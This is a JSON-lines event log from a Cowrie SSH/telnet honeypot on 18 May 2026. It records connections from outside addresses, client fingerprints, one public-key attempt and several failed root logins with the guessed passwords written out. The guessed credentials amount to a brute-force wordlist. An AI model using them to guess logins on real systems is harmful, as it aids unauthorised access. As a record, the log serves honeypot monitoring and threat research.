{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60460,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ea6ebe1021","protocol":"ssh","message":"New connection: 185.236.22.41:60460 (10.17.0.5:22) [session: 64ea6ebe1021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:30.779754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:30.789227Z","src_ip":"185.236.22.41","session":"64ea6ebe1021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:30.923700Z","src_ip":"185.236.22.41","session":"64ea6ebe1021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53734,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b6c59b1b1e","protocol":"telnet","message":"New connection: 152.42.224.71:53734 (10.17.0.5:23) [session: 58b6c59b1b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:31.677466Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7cfa0db4039","protocol":"telnet","message":"New connection: 152.42.224.71:53740 (10.17.0.5:23) [session: b7cfa0db4039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:31.729975Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"567zxcv","message":"login attempt [root/567zxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:31.986382Z","src_ip":"185.236.22.41","session":"64ea6ebe1021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:33.159548Z","src_ip":"185.236.22.41","session":"64ea6ebe1021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.05891537666321,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:47.841328Z","src_ip":"152.42.224.71","session":"c9829a4e7b50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47688,"dst_ip":"10.17.0.5","dst_port":23,"session":"573375b0bd1a","protocol":"telnet","message":"New connection: 152.42.224.71:47688 (10.17.0.5:23) [session: 573375b0bd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:53.402082Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":55576,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9048e9fd1ca","protocol":"ssh","message":"New connection: 191.96.110.121:55576 (159.203.135.109:22) [session: d9048e9fd1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:58.408880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:58.598519Z","src_ip":"191.96.110.121","session":"d9048e9fd1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:58.702929Z","src_ip":"191.96.110.121","session":"d9048e9fd1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:59.488870Z","src_ip":"191.96.110.121","session":"d9048e9fd1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:01.008850Z","src_ip":"191.96.110.121","session":"d9048e9fd1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.952933073043823,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:08.354901Z","src_ip":"152.42.224.71","session":"573375b0bd1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"311c95d953e4","protocol":"telnet","message":"New connection: 152.42.224.71:55218 (10.17.0.5:23) [session: 311c95d953e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:10.962686Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":57458,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8523f5dd72","protocol":"ssh","message":"New connection: 94.159.98.239:57458 (159.203.135.109:22) [session: fb8523f5dd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:15.411747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:15.417130Z","src_ip":"94.159.98.239","session":"fb8523f5dd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:15.536362Z","src_ip":"94.159.98.239","session":"fb8523f5dd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890d","message":"login attempt [root/1234567890d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:15.910546Z","src_ip":"94.159.98.239","session":"fb8523f5dd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:17.057596Z","src_ip":"94.159.98.239","session":"fb8523f5dd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33378,"dst_ip":"10.17.0.5","dst_port":23,"session":"780ead75b154","protocol":"telnet","message":"New connection: 152.42.224.71:33378 (10.17.0.5:23) [session: 780ead75b154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:23.518454Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"a765b859f26a","protocol":"ssh","message":"New connection: 43.133.148.170:35836 (10.17.0.5:22) [session: a765b859f26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:24.268367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:24.272796Z","src_ip":"43.133.148.170","session":"a765b859f26a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:24.532781Z","src_ip":"43.133.148.170","session":"a765b859f26a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luisluis","message":"login attempt [root/luisluis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:25.606306Z","src_ip":"43.133.148.170","session":"a765b859f26a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:26.869678Z","src_ip":"43.133.148.170","session":"a765b859f26a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.06196737289429,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:30.291484Z","src_ip":"152.42.224.71","session":"e05e29044c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":34698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32b74eadc1b","protocol":"ssh","message":"New connection: 87.251.79.125:34698 (10.17.0.5:22) [session: b32b74eadc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:30.897494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:30.906473Z","src_ip":"87.251.79.125","session":"b32b74eadc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:30.993003Z","src_ip":"87.251.79.125","session":"b32b74eadc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111213","message":"login attempt [root/111213] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:31.233499Z","src_ip":"87.251.79.125","session":"b32b74eadc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:32.308300Z","src_ip":"87.251.79.125","session":"b32b74eadc1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":36758,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b8a7c215d4c","protocol":"ssh","message":"New connection: 43.245.98.60:36758 (10.17.0.5:22) [session: 7b8a7c215d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:37.034752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:37.039506Z","src_ip":"43.245.98.60","session":"7b8a7c215d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:37.280406Z","src_ip":"43.245.98.60","session":"7b8a7c215d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caja2","message":"login attempt [root/caja2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:38.270401Z","src_ip":"43.245.98.60","session":"7b8a7c215d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ca3a5cd808","protocol":"telnet","message":"New connection: 152.42.224.71:44330 (10.17.0.5:23) [session: b2ca3a5cd808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:39.242072Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:39.513748Z","src_ip":"43.245.98.60","session":"7b8a7c215d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":54402,"dst_ip":"159.203.135.109","dst_port":22,"session":"27170954d2d2","protocol":"ssh","message":"New connection: 139.19.117.129:54402 (159.203.135.109:22) [session: 27170954d2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.409528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.416953Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.505604Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+jdGkKI24VohZOal0YS5ReoAW0DrfX27/1lArnv3Fhy9YR5juzQyfMh8Wn6mvtDj0vI4xNB3Nbn2W2i08PQy+uyBW1xHuP+5CHFgG00hTlu8ofri5JnK0cbyPH0PqAiua96tXUVKL7K2obXoGiqWZ5b+N6iVyFrJ1//SI06Jr252snOyqRyd8MMb/PKZxuQ6Danul4+ZUCneoWWy2dHCmn4lVxn4lK5hYlAKbrrZ0HYAnDyNR5oP2gnLtLtRCAeYui9LXvlhTifHuDMo2MpPPH8sQ1ss14rab1JhL7TXVGZRgc9C7ko8yBR0MEWKnF84i9H/Uo+gE+VRcgJBQyzd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.684683Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
